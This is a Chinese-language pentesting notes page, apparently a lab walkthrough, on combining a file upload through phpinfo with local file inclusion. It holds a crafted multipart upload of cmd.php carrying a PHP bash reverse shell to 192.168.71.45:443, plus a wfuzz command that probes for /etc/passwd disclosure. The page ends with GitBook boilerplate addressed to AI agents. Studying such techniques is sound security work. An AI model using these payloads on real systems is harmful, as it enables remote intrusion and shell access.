> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/file-upload-attack/file-upload-phpinfo-pentesting-web.md).

# 文件上传 phpinfo

## 文件上传：

在定位到文件“info.php”后，尝试在服务器上上传文件的可能性。

<figure><img src="/files/f2168f6fa58b7b61c274ba8d2e1fefd0ae3ed7a5" alt=""><figcaption></figcaption></figure>

**使用 Burp Suite 拦截：** 使用 Burp Suite 拦截请求。将“GET”方法改为“POST”。

<figure><img src="/files/bdbf21ef8175c2cd72f56fe91c99a34a3c5e2cbe" alt=""><figcaption></figcaption></figure>

#### 向服务器上传文本文件的请求：

使用下面的 Burp Suite 结构发送一个上传名为的文件的请求 `test.txt`:

```markup
Content-Type: multipart/form-data; boundary=--pwned
----pwned
Content-Disposition: form-data; name="name"; filename="test.txt"
Content-Type: text/plain
这是一个测试
----pwned

```

<figure><img src="/files/72823183deb2536638c364c611c83a78fdbab163" alt=""><figcaption></figcaption></figure>

**PHP 代码注入：** 尝试使用相同的 Burp Suite 结构注入 PHP 代码。修改文件内容以注入载荷。

```markup
Content-Type: multipart/form-data; boundary=--pwned
----pwned
Content-Disposition: form-data; name="name"; filename="cmd.php"
Content-Type: text/plain
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.71.45/443 0>&1'"); ?>
----pwned

```

#### 注入确认：

通过确认服务器上存在文件“cmd.php”来验证注入是否成功。

<figure><img src="/files/abe253313e26fc2e77a36ed88694dbccdec930e9" alt=""><figcaption></figcaption></figure>

#### LFI 搜索

为了找到 LFI 漏洞，我们使用 wfuz 工具来识别一个可能重定向到 PHP 文件的参数。命令如下：

```bash
wfuzz -c --hl=136 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.71.146/index.php?FUZZ=/etc/passwd"

```

<figure><img src="/files/e0cbed2a4f6dcd81a86186383be38682c55446b2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fb3cebe45799b464188d97282a2f7703f03ad760" alt=""><figcaption></figcaption></figure>

#### 文件夹常量变更困难：

不幸的是，由于临时文件夹的常量变更，我们无法列出文件 cmd.php 的内容：

<figure><img src="/files/1d075a470e174e709e14fb9dcfc6321fb9bc6bc0" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/file-upload-attack/file-upload-phpinfo-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
